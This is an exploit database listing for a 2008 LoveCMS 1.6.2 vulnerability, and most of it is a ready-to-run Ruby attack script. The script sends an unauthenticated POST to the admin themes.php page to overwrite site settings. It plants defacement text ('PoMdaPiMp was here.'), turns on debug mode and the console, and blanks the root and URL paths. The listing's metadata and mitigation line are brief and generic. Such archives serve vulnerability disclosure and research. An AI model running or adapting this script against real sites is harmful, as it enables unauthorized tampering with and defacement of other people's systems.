LoveCMS Exploit Series. #3: Messing with settings

vendor:

LoveCMS

by:

PoMdaPiMp

7.5

CVSS

HIGH

Changing site settings

264

CWE

Product Name: LoveCMS

Affected Version From: lovecms_1.6.2_final

Affected Version To: lovecms_1.6.2_final

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: MacOS X, Xampp

2008

LoveCMS Exploit Series. #3: Messing with settings

Simply change the site settings by using the post_vars array to set the values of the site settings.

Mitigation:

Ensure that the site settings are properly configured and that the user has the appropriate privileges to make changes.

Source

Exploit-DB raw data:

#!/usr/bin/ruby
#
## Exploit by PoMdaPiMp!
## ---------------------
##   pomdapimp(at)gmail(dotcom)
##
##   LoveCMS Exploit Series
##   Episode 3: changing site settings ...
##
##   Description: Simply change the site settings !
##
##   Usage: ./LoveCMS_3_settings.rb <host>
##   Ex:    ./LoveCMS_2_themes.rb http://site.com/lovecms/
##
##   Tested on: lovecms_1.6.2_final (MacOS X, Xampp)
#

require 'net/http'
require 'uri'

@host = 'http://127.0.0.1/lovecms_1.6.2_final/lovecms/'
@post_vars = {}
@post_vars['submit'] = 1
@post_vars['pagetitle'] = 'P4g3T1t1le'
@post_vars['sitename'] = 'SiteN4me'
@post_vars['slogan'] = 'By PoMdaPiMp.'
@post_vars['footer'] = 'PoMdaPiMp was here.'
@post_vars['description'] = 'Ruby is a gift.'
@post_vars['keywords'] = 'PoMdaPiMp, hack'
@post_vars['encoding'] = 'utf-8'
@post_vars['tips'] = 'off'
@post_vars['console'] = 'on'
@post_vars['debugmode'] = 'on'
@post_vars['module'] = 2
@post_vars['love_root'] = ''
@post_vars['love_url'] = ''

@host = ARGV[0] if ARGV[0]
@host += @host[-1, 1].to_s != '/' ? '/' : ''

if @host
  # --
  puts " + LoveCMS Exploit Series. #3: Messing with settings."
  puts
  puts " : Attacking host: " + @host

  # --
  # Changing settings
  res = Net::HTTP.post_form(URI.parse(@host + 'system/admin/themes.php'),
                            @post_vars)
  puts " :: Values set."
  @post_vars.each do |k, v|
    puts "    " + k.to_s + " > " + v.to_s
  end

  # --
  puts
  puts " - Visit " + @host
end

# milw0rm.com [2008-08-06]